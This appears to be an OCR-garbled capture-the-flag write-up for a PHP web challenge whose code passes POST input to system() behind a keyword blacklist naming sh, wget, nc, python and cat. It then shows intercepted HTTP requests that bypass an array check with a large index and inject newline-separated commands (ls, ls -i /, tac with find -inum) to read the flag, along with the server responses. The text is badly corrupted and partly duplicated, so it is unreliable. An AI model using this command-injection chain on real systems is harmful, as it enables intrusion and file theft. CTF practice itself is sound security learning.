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<{?php

Sstuff = $_POST["stuff”];

Sarray = [admin’, “user ];

if($stuff === Sarray && S$stuff(0] != "admin’)
Snur=  $_POST["num”];
if  (preg_match(”/ \d+$/im”, $num)) {

if (!preg_match(”/sh|wget nc python php perl|\? flag|}|cat|echo ‘%" [\T[\\\A]7 V[N /17, $num) ) {
echo "my favorite num is:”:
system(“echo . $num) ;

lelse]
echo 'Bonjour!’ ;

else 1
highlight_file(_ FILE_ );

$stuff = $_POST["stuff"];
$array = ['admin’, 'user'];
if($stuff === $array && $stuff[0] !="admin") {
$num=$_POST["num"];
if (preg_match("/Ad+$/im",$num)){
if (!preg_match("/shjwget|nc|python|php|perl|\?[flag|}|catjecho\* MNP\ N/", $num)){

echo "my favorite num is:";

system("echo ".$num);
}else{

echo 'Bonjour!’;

}

} else {
highlight_file(_ FILE_);
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stuff[4294967296]=admin&stuff[1]=user&num=111
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[ Raw | #81 | 5 [ Hex |
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POST / HTTP/M 1

Host: 220.2439.52.133:59666

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; nv:E3.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml,application/xml;g=0.9 imagefwebp ™, q=0.8
Accept-Language: zh-CM zh;q=0.8,zh-TW, q=0.7 ,zh-HK;g=0.5 en-US;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

Origin: http://220.249.52.133:59666

Connection: close

Referer: http://220.249.52.133:59666/

Upgrade-Insecure-Requests: 1

stuff%5B4294967 296 %5 D=admin&stuff%5B1 %50=user&num=111%0als
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HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sat, 05 Dec 2020 08:56:57 GMT
Content-Type: text/html

Connection: close

¥-Powered-By: PHP/S.5.9-1ubuntud 29
Content-Length: 33

my favorite num is:111
index.php

JRawl 2| Hex | Render |

POST /HTTRM 1

Host: 220.249 52.133:596E6

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; nv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/fwebp *f;q=0.8
Accept-Language: zh-CM, zh;g=0.8 zh-TW,q=0.7 ,zh-HK; q=0.5 en-US;g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

Origin: http://220.249.52.133:59666

Connection: close

Referer: http://220.249.52.133:59666/

Upgrade-Insecure-Requests: 1

stuff%e5 84294967296 %5 D=admin&stuff%5B1%50=user&num=111%0als /

e

HTTR/M.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sat, 05 Dec 2020 08:59:00 GMT
Content-Type: text/html

Connection: close

¥-Powered-By: PHP/5.5.9-Tubuntud 29
Content-Length: 113
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Seferer: http://220.249 52 133:59666/
Jpgrade-Insecure-Requests: 1

stuff%aB4294967 296 %5 0=admin&stuff%sB1 %5 0=userdnum=111%0als -i /

R J5 AtaciBL/g Zlflag

Accept: text/html application/xhtml+xml applicationfxml; q=0.9 image/webp */*q=0.8
Accept-Language: zh-CM,zh;q=0.8, zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 83

Origin: http://220.249 52 133:59666

Connection: close

Referer: http://220.249.52.133:55666/

Upgrade-Insecure-Requests: 1

stuff%e5B4294967296%5D=admin&stuff%5B81%50=user&num=111%0atac find / -inum 21108802"

tmp
usr
var

30940644 boot

2 dev
21107587 etc
21108802 flag
30941276 home
3284765 lib
31071188 lih64
31071190 media
31071191 mnt
31071192 opt

1 proc
31071194 root
31466142 run

Content-Type: text/html

Connection: close

X-Powered-By: PHP/S.5.9-1ubuntud. 29
Content-Length: 68

my favorite num is:111
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